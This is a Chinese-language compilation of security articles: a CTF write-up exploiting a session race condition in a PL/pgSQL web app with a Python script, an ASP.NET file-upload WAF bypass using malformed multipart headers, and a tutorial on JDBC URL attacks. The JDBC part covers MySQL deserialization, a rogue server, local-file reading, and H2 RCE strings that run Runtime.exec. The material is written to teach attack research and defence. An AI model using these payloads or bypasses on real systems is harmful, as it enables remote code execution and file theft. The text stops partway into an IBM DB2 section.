SELECT
web.get_form(NEW.uid, 'username')
INTO form_username;
SELECT
web.get_cookie(NEW.uid, 'session')::uuid
INTO session_uid; -- 查询出来session id
SELECT
uid
FROM
web.user
WHERE
username = form_username
INTO form_user_uid; -- 查询出来用户id
IF form_user_uid IS NOT NULL
THEN
INSERT INTO web.session (
uid,
user_uid,
logged_in
) VALUES (
COALESCE(session_uid, uuid_generate_v4()),
form_user_uid,
FALSE
)
ON CONFLICT (uid)
DO UPDATE
SET
user_uid = form_user_uid,
logged_in = FALSE
RETURNING uid
INTO session_uid;
PERFORM web.set_cookie(NEW.uid, 'session', session_uid::text);
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
ELSE
PERFORM web.respond_with_redirect(NEW.uid, '/login');
END IF;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
---------- GET /login/password
CREATE FUNCTION web.handle_get_login_password() RETURNS TRIGGER AS $$
DECLARE
session_uid uuid;
logged_in boolean;
username text;
context jsonb;
BEGIN
SELECT
web.get_cookie(NEW.uid, 'session')::uuid
INTO session_uid;
IF session_uid IS NULL
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login');
RETURN NEW;
END IF;
SELECT
session.logged_in,
usr.username
FROM
web.session session
INNER JOIN web.user usr
ON usr.uid = session.user_uid
WHERE
session.uid = session_uid
INTO logged_in, username;
IF logged_in
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login');
RETURN NEW;
END IF;
SELECT
web.get_base_context(NEW.uid)
|| jsonb_build_object('username', username)
INTO context;
PERFORM web.respond_with_template(NEW.uid, 'login-password.html', context);
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE FUNCTION web.handle_post_login_password() RETURNS TRIGGER AS $$
DECLARE
form_password text;
session_uid uuid;
success boolean;
BEGIN
SELECT
web.get_cookie(NEW.uid, 'session')::uuid
INTO session_uid;
IF session_uid IS NULL
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login');
RETURN NEW;
END IF;
SELECT
web.get_form(NEW.uid, 'password')
INTO form_password;
IF form_password IS NULL
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
RETURN NEW;
END IF;
SELECT EXISTS (
SELECT
*
FROM
web.user usr
INNER JOIN web.session session
ON usr.uid = session.user_uid
WHERE
session.uid = session_uid
AND usr.password_hash = crypt(form_password, usr.password_hash)
)
INTO success;
IF success
THEN
UPDATE web.session
SET
logged_in = TRUE
WHERE
uid = session_uid;
PERFORM web.respond_with_redirect(NEW.uid, '/');
ELSE
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
END IF;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
总结一下，操作如下：
1. 获取用户提交的用户名和存储在cookie表中的 session_uid
2. 根据用户名，从 user表中查询出来 form_user_uid
3. 然后将 session_uid 和 form_user_uid 和为False的登录状态写入到 session表中，如果session_uid为空(就是用户请求的时候不带session)，则为此用户重新生成一个。 如果 session_uid 在数据库中已经存在，就修改这个 session_uid 对应的 user_uid 为当前登录的用户的id，登录状态设置为false 。
4. 接下来设置 cookie , 并跳转到 `/login/password`
5. 接下来是 post 到 `/login/password` 的处理流程，同样是获取 `session_uid`和用户输入的password , 然后把 user表和session表以user_uid相等为条件做一个连接，以 session_uid 和 password 为条件做一次查询。
6. 如果查询到，就更新用户的session为登录状态
下面是验证是否登录的代码如下：
CREATE FUNCTION web.is_logged_in(request_uid uuid) RETURNS boolean AS $$
DECLARE
session_uid uuid;
ret boolean;
BEGIN
SELECT
web.get_cookie(request_uid, 'session')::uuid
INTO session_uid;
IF session_uid IS NULL
THEN
RETURN FALSE;
END IF;
SELECT
logged_in
FROM
web.session
WHERE
uid = session_uid
INTO
ret;
RETURN COALESCE(ret, FALSE);
END;
$$ LANGUAGE plpgsql;
这个过程存在一个竞争条件，如果用户A使用session_A并处于登录状态，此时用户B也使用session_A进行登录(仅输入用户名)，这时用户B就可以修改数据库中存储的session_A对应的user_id,并将A设置为未登录状态。
如果此时恰好A用户在执行某个耗时的操作，并且已经执行过`is_logged_in` 函数的校验，那么接下来A用户的所有操作都是B用户的身份执行的。
### 竞争条件的利用
因为这个竞争发生在`is_logged_in`函数执行之后，一次操作完成之前，所以时间窗口还是比较小的，所以要找一个相对来说比较耗时的操作。题目中有个搜索操作，代码如下：
CREATE FUNCTION web.handle_post_search() RETURNS TRIGGER AS $$
DECLARE
user_uid uuid;
session_uid uuid;
query_string text;
query tsquery;
context jsonb;
BEGIN
IF NOT web.is_logged_in(NEW.uid)
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login');
RETURN NEW;
END IF;
SELECT
web.get_form(NEW.uid, 'query')
INTO query_string;
IF query_string IS NULL OR trim(query_string) = ''
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/search');
RETURN NEW;
END IF;
BEGIN
SELECT
web.query_to_tsquery(query_string)
INTO query;
EXCEPTION WHEN OTHERS THEN
PERFORM web.respond_with_redirect(NEW.uid, '/search');
RETURN NEW;
END;
SELECT
web.get_cookie(NEW.uid, 'session')::uuid
INTO session_uid;
SELECT
session.user_uid
FROM
web.session session
WHERE
session.uid = session_uid
INTO user_uid;
SELECT
web.get_base_context(NEW.uid)
INTO context;
WITH notes AS (
SELECT
jsonb_build_object(
'author', usr.username,
'title', note.title,
'content', note.content,
'date', to_char(note.date, 'HH:MIam on Month DD, YYYY')
) AS obj
FROM
web.note note
INNER JOIN web.user usr
ON note.author_uid = usr.uid
WHERE
usr.uid = user_uid
AND note.search @@ query
)
SELECT
context
|| jsonb_build_object(
'search', query_string,
'results', COALESCE(jsonb_agg(notes.obj), '[]'::jsonb)
)
FROM
notes
INTO context;
PERFORM web.respond_with_template(NEW.uid, 'search.html', context);
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
按照刚才的分析，我们只需要发送一个很长的
query_string，使得`web.query_to_tsquery(query_string)`的执行时间很长，在这个函数执行期间，在用admin身份带上我们用户的session去请求登录，就可以修改掉我们用户的
user_id,接下里的操作就是以管理员身份执行的了：
SELECT
session.user_uid
FROM
web.session session
WHERE
session.uid = session_uid
INTO user_uid;
SELECT
web.get_base_context(NEW.uid)
INTO context;
WITH notes AS (
SELECT
jsonb_build_object(
'author', usr.username,
'title', note.title,
'content', note.content,
'date', to_char(note.date, 'HH:MIam on Month DD, YYYY')
) AS obj
FROM
web.note note
INNER JOIN web.user usr
ON note.author_uid = usr.uid
WHERE
usr.uid = user_uid
AND note.search @@ query
)
构造适当的查询语句，就可以查出flag。
最后的exp如下：
#!/usr/bin/python
import requests
import threading
import time
s = requests.session()
def login(username):
url = "http://triggered.pwni.ng:52856/login"
data = {"username":username}
res = s.post(url,data=data)
print("[*] login with username")
# print(res.text)
def login_password(password):
url = "http://triggered.pwni.ng:52856/login/password"
data = {"password":password}
res = s.post(url,data=data)
print("[*] login with password")
# print(res.text)
def query(condition):
url = "http://triggered.pwni.ng:52856/search"
data = {"query":condition}
while True:
res = s.post(url,data=data)
print("[*] query a note ...")
if "no result" not in res.text:
print(res.text)
break
elif res.status_code != 200 :
break
if __name__ == '__main__':
login("test")
login_password("123")
t1 = threading.Thread(target=query,args=(" \"PCTF\" or "*10+ " \"PCTF\" " ,))
t1.start()
# time.sleep(3)
t2 = threading.Thread(target=login,args=("admin",))
t2.start() | 社区文章 |
# 前言
看了赛博群的《从commons-fileupload源码看文件上传绕waf》，文末提到了dotnet也有这种问题，于是看了下dotnet的源码。
# 环境
public ActionResult Index()
{
if (Request.Files.Count>0)
{
var file = Request.Files[0];
var filename = file.FileName;
var contenttype = file.ContentType;
var reader = new StreamReader(file.InputStream);
var content = reader.ReadToEnd();
var filepath = Request.MapPath("~/ ") + filename;
file.SaveAs(filepath);
var resp = $" filename:{filename}\n save file path:{filepath}\n file content:{content}\n file content type:{contenttype}";
return Content(resp);
}
else
{
return Content("no file");
}
}
# 分析
对于上传的文件处理类位于`System.Web.HttpMultipartContentTemplateParser.Parse()`函数
internal static MultipartContentElement[] Parse(HttpRawUploadedContent data, int length, byte[] boundary, Encoding encoding)
{
HttpMultipartContentTemplateParser httpMultipartContentTemplateParser = new HttpMultipartContentTemplateParser(data, length, boundary, encoding);
httpMultipartContentTemplateParser.ParseIntoElementList();
return (MultipartContentElement[])httpMultipartContentTemplateParser._elements.ToArray(typeof(MultipartContentElement));
}
和Request.Files的层级调用关系如图
在FillInFilesCollection()中，content-type必须以multipart/form-data开头
这里和common fileupload的处理不同，然后进入this.GetMultipartContent()
1来处理boundary 2来解析上传文件流 主要看1
private byte[] GetMultipartBoundary()
{
string text = HttpRequest.GetAttributeFromHeader(this.ContentType, "boundary");
if (text == null)
{
return null;
}
text = "--" + text;
return Encoding.ASCII.GetBytes(text.ToCharArray());
}
GetAttributeFromHeader是关键函数
分号逗号和等于号作为分隔符，并根据字符集忽略一些空白字符
所以content-type可以这么写
Content-Type: multipart/form-data\u0085,;;,,,,,;;, boundary = aaa
接着看GetMultipartContent函数，解析完boundary和文件内容流之后，进入3 Parse函数也就是我们开篇提到的函数。
Parse函数就直接跟进了ParseIntoElementList函数
其中1 ParsePartHeaders是关键函数
能看到这个函数用来解析`Content-Disposition`和`Content-Type`，先以冒号分割拿到冒号后的部分
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
即`form-data; name="file"; filename="1.txt"`
再看ExtractValueFromContentDispositionHeader函数
string text = " " + name + "=";
int num = CultureInfo.InvariantCulture.CompareInfo.IndexOf(l, text, pos, CompareOptions.IgnoreCase);
if (num < 0)
{
text = ";" + name + "=";
num = CultureInfo.InvariantCulture.CompareInfo.IndexOf(l, text, pos, CompareOptions.IgnoreCase);
if (num < 0)
{
text = name + "=";
num = CultureInfo.InvariantCulture.CompareInfo.IndexOf(l, text, pos, CompareOptions.IgnoreCase);
}
}
会自动加上分号和等号，所以可以随便构造
Content-Disposition:\u0;;;;!@#$%^&*(;asdas\u0085d;085filename=11.aspx
Content-Disposition:filename=11.aspx
Content-Disposition:aaaaaaaaaaafilename=11.aspx;aaaaaaaaa
两个对比一下就知道
Content-Disposition: form-data; name="file";filename="11.aspx"
1. form-data字段可以不要
2. 可以随便在`filename`和`name`前随意填充字段
3. 但是`filename`和`name`后必须跟随等号，并且末尾有分号标识结束。
在ExtractValueFromContentDispositionHeader函数中会对取的值进行Trim()处理，也能用\u0085来处理
content-type同上
最后贴一张构造的图
# 写在文后
Request.Files[0]的name字段是忽略大小写的，Request.Files[0]和Request.Files["file"]两种写法绕过时可能会出一些拿不到name的问题。
dotnet的特殊空白符如上文，但是位置一般只能放在两侧来用Trim去除。 | 社区文章 |
**作者：su18
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
当一个 JDBC 连接 URL 可控时，能造成什么影响？相关的若干攻击方法已经被披露很长时间了，但是我还一直都没有学习，随着 HITB2021SIN
中的分享议题 "[Make JDBC Attacks Brilliant
Again](https://www.youtube.com/watch?v=MJWI8YXH1lg&ab_channel=HackInTheBoxSecurityConference)"
的视频上传到了 Youtube 上之后，我觉得实在是不能再拖了，于是就有了这篇文章，本文记录了相关的学习和研究成果，并集合了相关的漏洞代码。
在看本篇文章时，可以边结合视频，边看 PPT 边看我对其的讲解分析，打开 youtube
的自动字幕和自动翻译，结合本文，对英文不好的同学来说可能更容易一点。
# 开端
在 2019 年欧洲 BlackHat 大会上, 一个名为 "[New Exploit Technique In Java Deserialization
Attack](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf)" 的议题由 Back2Zero 安全团队的 Yongtao
Wang, Lucas Zhang, Kevin Li 以及 Kunzhe Chai 分享出来，首次披露了 JDBC 相关反序列化攻击的利用技术。
视频也上传到了
[youtube](https://www.youtube.com/watch?v=Lv9BC_bYaI8&ab_channel=BlackHat)
上，首先来跟着 PPT 学习一下。
## Introduction to Java Deserialization
这个议题根据其 PPT 一共有 5 个部分，第一部分是对 Java
反序列化漏洞的一些介绍，比较基础，这里我就不再描述了，之前我也写过一篇相关的文章[《Java反序列化取经路》](https://su18.org/post/ysuserial/),对基础有问题的朋友可以先补一下。这里我就直接贴几张议题中的
PPT。
攻击场景，以及一些再反序列化过程中会自动触发的方法
一个有漏洞的类的举例，可以看到，在重写的 readObject 中执行了文件删除的操作
## Well-Known Defense Solutions
Lucas 列举出了三种广泛使用的防御反序列化漏洞的方案。
1. **黑名单校验** 通过在反序列化过程中对输入流进行校验来确保其安全性. 如果反序列化过程中遇到了黑名单的类，将会终止反序列化进程。一般是通过增强 resolvClass 方法来实现的。 我们可以在 Jackson/Weblogic 以及开源项目 SerialKiller 中看到这种防御机制的实现。
2. **JEP290(过滤机制)** JEP290 提供了一个 Filter 机制，可以对反序列化数据的输入流进行过滤，来提高安全性。官方文档可以看[这里](https://blogs.oracle.com/java/post/filter-incoming-serialization-data-a-little-of-jdk-9-goodness-available-now-in-current-release-families)。每当进行一次反序列化操作时，底层就会根据filter中的内容来进行判断，从而防止恶意的类进行反序列化操作。此外，还可以限制反序列化数据的信息，比如数组的长度、字节流长度、字节流深度以及使用引用的个数等。filter返回accept，reject或者undecided几个状态，然后用户根据状态进行决策。
3. **Runtime Application Self-protection(RASP)** RASP 大家应该都不陌生了，这里就不多说了, 在 JavaSec 里园长写了一篇[文章](https://javasec.org/java-rasp/)，大家可以看一看。总体来说，RASP 是在程序运行时基于行为的防御，不基于规则，也不基于黑名单。 但各家 RASP 实现参差不齐，部分 RASP 可能仅仅关注了简单的命令执行功能的防御，而对其他的防御没有到位。
这三种通用的方法，还不是完美的防御方案，可能存在一些瑕疵： \- 如果我们找到了一条新的反序列化利用链，就可以绕过基于黑名单的反序列化防御机制； \-大多数的安全研究员一般情况下会找一些包含常见危险函数的 Gadget，比如执行命令的 `Runtime.exec()`，导致一些防御措施甚至是 RASP
也仅仅防御了这些常见的危险函数，此时如果我们发现了一个 Java 中的攻击向量，就可以绕过绝大部分的防御手段。
## Critical vulnerabilities in Java
接下来 Lucas 公布了两个能带来较大危害的攻击向量。
### URLConnection
提到 URLConnection，我能想到的漏洞利用就只有 SSRF，但是 Lucas 将其延伸至 NTLM Reflection Attack
(CVE-2019-1040) 并且获得了本地 Windows 凭证信息。
这部分不是本文的重点，所以也将其略过。
### JDBC
这部分的议题由 Kunzhe Chai 给出了相关的讲解。
JDBC 是 JavaSE 中一个重要的 API，定义了一个客户端连接数据库的方式。
开发人员使用 JDBC 与数据库建立连接，对数据库执行查询和更新语句，并检索从数据库接收到的结果。下面是一个常见的创建连接并查询数据的过程：
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/test";
String USERNAME = "root";
String PASSWORD = "root";
Class.forName(CLASS_NAME);
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
Statement statement = connection.createStatement();
statement.execute("select 10086");
ResultSet set = statement.getResultSet();
while (set.next()) {
System.out.println(set.getString(1));
}
statement.close();
connection.close();
}
JDBC 通常使用不同的 URL/URI 连接字符串来与指定类型的数据库建立连接，这个 URL 主要包含三个部分: 驱动名称、连接地址以及扩展参数。
而 "扩展参数" 就是本次导致安全漏洞的一个重要的部分。
Mysql JDBC 中包含一个危险的扩展参数： ” **autoDeserialize** “。这个参数配置为 true 时，JDBC
客户端将会自动反序列化服务端返回的数据，这就产生了 RCE。
此时如果攻击者作为 MYSQL 服务器的角色，给客户端返回了恶意的序列化数据，客户端就会自动反序列化触发恶意代码，造成漏洞。
在此处我们以 mysql-connector-java 8.0.14 为例，类
`com.mysql.cj.jdbc.result.ResultSetImpl` 实现了 `java.sql.ResultSet` 并且重写了
`getObject()` 方法。
如果在 JdbcConnection 的相关属性中找到了 "autoDeserialize" 参数，客户端就会读取服务端返回数据并执行其
`readObject()` 方法，这就是 mysql jdbc 攻击的最根本原因。
但是在默认情况下 JDBC 客户端不会调用 `getObject()` 函数来处理攻击者的数据，所以还需要找到一个可以触发的方式。
经过了一番深入的研究，Kunzhe Chai 找到了一个可以触发这个方法的扩展参数 : queryInterceptors。
"queryInterceptors" 参数可以指定接口 `com.mysql.cj.interceptors.QueryInterceptor`
的子类，通过名字可以看到，这是一个起到”拦截器“作用的类。在这些拦截器的实现类中，可以修改或增强语句的某些子级所做的处理，例如自动检查 memcached
服务器中的查询数据、重写慢速查询、记录有关语句执行的信息，或将请求路由到远程服务器。总体来说，这是一个为查询提供自动化增强功能的参数。
根据相关的[文档](https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-statements.html#cj-conn-prop_queryInterceptors), "queryInterceptors"
配置是从 8.0.7 版本开始支持的。
接口 QueryInterceptor 提供了一个完整的拦截流程如
`init`->`preProcess`->`postProcess`->`destroy`, 而且 QueryInterceptors 是
"chainable" 的，也就是链式的，可以指定多个 QueryInterceptor ，上一个处理的结果会传递给下一个
QueryInterceptor。
在 mysql-connector-java 中，QueryInterceptor 有好几个实现类。
Chai 发现 `ServerStatusDiffInterceptor` 会调用 `getObject` 方法，接下来看一下具体的调用链。
ServerStatusDiffInterceptor 用于显示在查询之间服务器状态的差异，`preProcess()`/`postProcess()`
调用 `populateMapWithSessionStatusValues()`方法。
`populateMapWithSessionStatusValues()` 使用已经建立的 connection 创建并执行了一个新的语句 `SHOW
SESSION STATUS`，并调用 `ResultSetUtil.resultSetToMap()` 处理返回结果。
`resultSetToMap` 调用了之前我们提到的 `getObject()` 方法，连成了一条调用链。
有了上面的知识点的积累，我们已经找到了一条反序列化的攻击路径：如果我们可以控制 JDBC URI，我们就可以： \- 将 JDBC
连接地址指向攻击者事先准备好的恶意服务器，这个服务器可以返回恶意的序列化数据。 \- 指定 autoDeserialize 参数为 true，mysql
客户端就可以自动反序列化恶意 payload。 \- 使用 ServerStatusDiffInterceptor 触发客户端和服务端的交互和反序列化。
攻击 JDBC 的步骤大概分为:
## New exploit for Java Deserialization
在这一 part，Kunzhe Chai 组合了 3 个漏洞(反序列化/NTLM Hash Leaking/NTLM Reflection Attack)
组成了 RCE 漏洞利用。
然后他制作了一个视频来演示在一个真实环境中的攻击。
然后他展示了他找到的其他可以触发 URLConnection 的 gadget，可以触发其他例如 Java 反序列化/Jackson 的漏洞利用。
依旧不是本篇文章的重点，继续略过。
## Takeaways
在 PPT 的结尾，Chai 给开发人员和安全研究人员都提了一些建议：
# 后续
在听整个演讲的过程中，我一直有个疑问，演讲之后的提问环节恰好有个老外问了这个问题:
> 攻击者可以控制 jdbc url 的情况好像并不常见，在什么情况下我们可以在现实世界中执行这个攻击呢？
这确实是一个比较现实的问题，Lucas 给出了他的答案：云平台配置。
然后这个老外接着问，有没有一个独立的产品，不正确的允许了攻击者配置 jdbc url。我感觉这个老外可能并不认可这种漏洞利用链作为一种攻击手段。
Lucas 好像没懂他的问题，并没有给出清晰的解释。同时我也觉得应该不会有商业化产品能允许攻击者未授权的修改 jdbc connection url。
但是无论如何，这种技术永远可以用来进行反制红队或者威胁诱捕（比如说蜜罐）。
在会议中，Lucas 和 Chai 仅仅提供了思路，并没有提供能够返回恶意序列化的 mysql 服务端。
几个月后，codeplutos 使用了修改后的 MySQL 插件来成功创建了恶意服务器，并且使用了一个新的扩展参数：
detectCustomCollations 。
当在 jdbc 连接参数中设置了 `detectCustomCollations=true` 时，也可以触发反序列化的流程，调用点在
`com.mysql.jdbc.ConnectionImpl#buildCollationMapping`， 依赖是 mysql-connector-java 5.1.29。
`buildCollationMapping` 方法会执行 SQL 语句 `SHOW COLLATION` 并调用
`Util.resultSetToMap()` 处理返回结果。
`resultSetToMap()` 方法调用 `getObject()` 导致反序列化。
无论用上面哪条触发链，我们都需要创建一个恶意的 mysql 服务端来针对这两条在建立连接时触发 gadget 中执行的 SQL 语句进行响应： \-`SHOW SESSION STATUS` \- `SHOW COLLATION`
但是该如何创建?
一个月后, fnmsd 师傅发布他的 [研究文章](https://www.anquanke.com/post/id/203086) 以及他的 [fake
server 项目](https://github.com/fnmsd/MySQL_Fake_Server)。
fnmsd 师傅在分析了 MySQL connector/J 的不同版本后，给出了一个统一的总结，并给出了不同版本所需的恶意 URL。
十分建议先学习一下 fnmsd 师傅的文章。
# 打造自己的恶意服务器
在了解了调用链和原理后，下一步我们可以打造一个属于自己的恶意服务器。有以下几种实现思路： \- 从头开始编写一个伪 MySQL 服务器，兼容 MySQL
的协议交互和 MySQL SQL 语法执行的流程。（需要了解通信协议和实现机制，工作量太大） \- 对 jdbc 连接过程中的全部 TCP
进行抓包，分析服务端和客户端交互的全部流程，包括握手、认证、执行语句等等, 重现整个交互流程，在指定位置返回恶意数据包。（fnmsd
师傅应该就是这样实现的） \- 通过修改后的 mysql 插件来实现相应的功能。（codeplutos 师傅的实现方式）
但这些方法对我来说都太复杂了，所以我尝试使用了更简单更优雅的方式创建了自己的恶意服务器，使用了所谓的：”数据库中间件“。
我找到了一个 alibaba 的开源项目 [cobar](https://github.com/alibaba/cobar)，
它是一个分片数据库的代理，不过你管它叫什么都行，实际上它就是一个客户端和服务端的中间的代理。
在使用 cobar 等数据库中间件时，对于真正的客户端，cobar 扮演 Mysql 服务器的角色；对于真正的服务器，cobar
是其客户端。因此，它是我们控制特定语句执行结果的完美工具。
Talk is cheap.让我们在实际环境中演示真正的攻击过程： \- Real Mysql Server: 5.6.35 \- cobar: 4.0.0
\- mysql-connector-java: 5.1.29 \- 客户端依赖: commons-collections-3.2.1 \- 攻击方式:
detectCustomCollations
## 准备恶意序列化数据
首先，生成恶意序列化 payload，在我的演示环境里使用了 CC1 的利用链，并且最终调用 `Runtime.exec()` 执行系统命令 "open
-a Calculator.app" 弹出计算器，图中是我学习 ysoserial
中使用的[工具](https://github.com/su18/ysoserial)，你可以使用任何工具生成任何利用链。
然后，在真实的 Mysql 服务器创建一个储存恶意序列化数据的表，表中至少有 3 个字段，并且第三个字段的数据类型是 blob。
因为对于 detectCustomCollations 攻击方式来说，触发的第三个字段结果的对象反序列化，所以要在指定位置准备恶意 payload。
最后，我们使用如下代码将恶意序列化的数据插入表中:
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/test";
String USERNAME = "root";
String PASSWORD = "123456";
Class.forName(CLASS_NAME);
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
File file = new File("/Users/phoebe/IdeaProjects/ysoserial-su18/CC1WithTransformedMap.bin");
int length = (int) file.length();
FileInputStream stream = new FileInputStream(file);
PreparedStatement statement = connection.prepareStatement("INSERT INTO evil (`a`,`b`,`c`) VALUES (1,1,?)");
statement.setBlob(1, stream, length);
statement.execute();
statement.close();
connection.close();
}
## 配置代理层 Mysql 服务器
准备好存放恶意类的数据库后，就要配置数据库中间件，也就是 cobar，根据其配置文件规则，让其连接到 Mysql Server:
接下来配置 cobar 提供服务的一些参数，等待客户端的连接。
启动 cobar 后，他就变成了客户端到真实服务器的一个代理，无论再客户端执行了什么 sql 语句，cobar 都会先读取并解析，然后由 cobar
再去服务端执行查询获取结果。
我们已经知道，如果我们在 jdbc 连接参数中设置了 `detectCustomCollations=true` ， jdbc connector 会执行
`SHOW COLLATION` 语句，并尝试对返回字段的第三个字段进行反序列化。
在使用了 cobar 后，我们可以在中间层面替换执行的 sql 语句，仅仅需要如下两行简单的代码:
将这两行代码加入 `com.alibaba.cobar.server.ServerConnection#execute` 方法中，当 cobar 获取
`SHOW COLLATION` 语句后，就会向真实的服务器中执行 `select * from evil`，服务器会返回我们事先准备好的恶意字节码。
## 建立连接
使用 cobar 来建立连接。
public static void main(String[] args) throws Exception {
String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:8066/dbtest?detectCustomCollations=true&autoDeserialize=true";
String USERNAME = "root";
String PASSWORD = "123456";
Class.forName(CLASS_NAME);
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
connection.close();
}
成功弹出计算器。
# Cheat Sheet
下面是 fnmsd 师傅文章中的两个截图，可以用来做 Cheat Sheet。
## ServerStatusDiffInterceptor
## detectCustomCollations
# Arbitrary File Reading Vulnerability
除了操控 JDBC URI 导致反序列化漏洞之外, 在很久之前还披露了一种能够导致任意文件读取的 JDBC 攻击手段。
如果 mysql 客户端在连接服务端时使用了 `–enable-local-infile` 选项，并执行 `LOAD DATA LOCAL INFILE
'/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';`
语句，客户端会读取本地的文件并将其内容发送至服务端。
因此，如果 mysql 服务器是不受信任的服务器，一个简单的建立连接行为可能会导致对客户端的任意文件读取。更多的细节可以查看 LoRexxar 师傅的相关
[博客](https://lorexxar.cn/2020/01/14/css-mysql-chain) 以及 Github 上的
[恶意服务器项目](https://github.com/Gifts/Rogue-MySql-Server)。
Jdbc connector 中的 Sink 点位于 `com.mysql.jdbc.MysqlIO#sendFileToServer`。
# Make JDBC Attacks Brilliant Again
本篇议题由 Litch1 和 pyn3rd 在 HITB SECCONF SIN-2021 上分享。演讲 PPT
在[这里](https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf)
，议题视频在[这里](https://www.youtube.com/watch?v=MJWI8YXH1lg&ab_channel=HackInTheBoxSecurityConference)。线上讲解的是
Litch1 师傅。接下来跟着大佬的分享一起学习学习。
首先，他介绍了一下背景，并回顾了使用 ServerStatusDiffInterceptor 在不同版本中利用的的情况。
随后他列举了使用 jdbc 攻击技术的常见场景： \- 新反序列化链（如 fastjson/jackson，getter/setter
方法中包括初始化数据库链接的逻辑） \- 攻击 SpringBoot Actuator \- API 接口暴露 \- 钓鱼，蜜罐
然后他给出了一些典型的 jdbc 攻击案例。
## CSRF to JDBC Attack(Weblogic)
Weblogic (CVE-2020-2934), 由于 Weblogic 在创建 JDBCDataSourceForm 的接口中没有 CSRF
检测，攻击者可以使用 csrf 攻击结合 jdbc attack 技术组合为 RCE。
根据 PPT 中的截图，我跳过了 csrf 的部分复现了攻击。
## Reconfigure JDBC Resource(Wildfy)
JBOSS/Wildfy，在后台或各种中间件的内容管理系统中也有 jdbc 数据源的相关配置功能。例如 JBoss/Wildfy，因为 h2 数据库的
Driver 是内置的，攻击者可以在后台重新配置 jdbc 并实现攻击。
## H2 RCE
H2 的攻击使用了 Spring Boot H2 console 的特性，通过更改 h2 数据库的连接 url，攻击者可以迫使 spring boot
从远程运行 SQL 脚本。
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
脚本如下，创建了一个调用 `Runtime.getRuntime().exec()`的函数并执行弹出计算器命令。
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')
需要如下参数:
spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true
复现截图如下：
攻击是如何执行的呢？
### INIT RUNSCRIPT
Sink 点在 `org.h2.engine.Engine#openSession`，h2 引擎在参数中拆分 ”INIT“ 参数并使用
CommandInterface 的不同实现类来根据配置初始化数据库连接。
在本案例下，具体的处理类是 `org.h2.command.CommandContainer`。
当使用 RUNSCRIPT 命令时， h2 数据库最终会调用 `org.h2.command.dml.RunScriptCommand#execute`
执行恶意 SQL 语句。
在这里为什么要使用 ”RUNSCRIPT“命令呢？
因为我们使用的 POC 需要执行两条 SQL 语句，第一条是 CREATE ALIAS 定义方法，第二条是 EXEC 执行。然而
`session.prepareCommand` 不支持多条 SQL 语句的执行。因此我们需要使用 RUNSCRIPT 命令从远端服务器加载 sql 语句。
但这也意味着攻击需要网络连接，如何绕过网络的限制？由于 h2 是一个嵌入式数据库，因此有可能发现不需要任何外部连接的攻击。
### Source Code Compiler
因此，我们应该找到一种方法，将 POC sql 简化为一条语句，这样就省去了交互，不用连接远程数据库。
Litch1 翻了 `CREATE ALIAS` 实现的源代码，发现在 SQL 语句中对于 JAVA
方法的定义被交给了源代码编译器。有三种支持的编译器：Java/Javascript/Groovy。
首先来看一下 Groovy。
在 `org.h2.util.SourceCompiler#getClass` 方法， h2 使用 `isGroovySource` 来判断是不是
Groovy 源代码。
如果是，则调用 `GroovyCompiler.parseClass()` 来解析 groovy 代码。这与 Orange 在 [Hacking
Jenkins Part 2](https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/) 议题中分析的 Sink 点是一致的.
由此 Litch1 给出了使用 `@groovy.transform.ASTTEST` 在 AST 中使用 assert 执行命令的 POC。
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}
然而 Groovy 依赖并不容易遇到，因此 Litch1 又给出了使用 JavaScript 和 `CREATE TRIGGER`
的利用链，这条链不仅仅编译源代码，还调用了 eval 执行。
POC 如下:
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}
## IBM DB2
MySQL 中发现的漏洞是由于其可配置属性的特性造成的。那么，如果可控，是否还有其他可配置属性会导致漏洞？
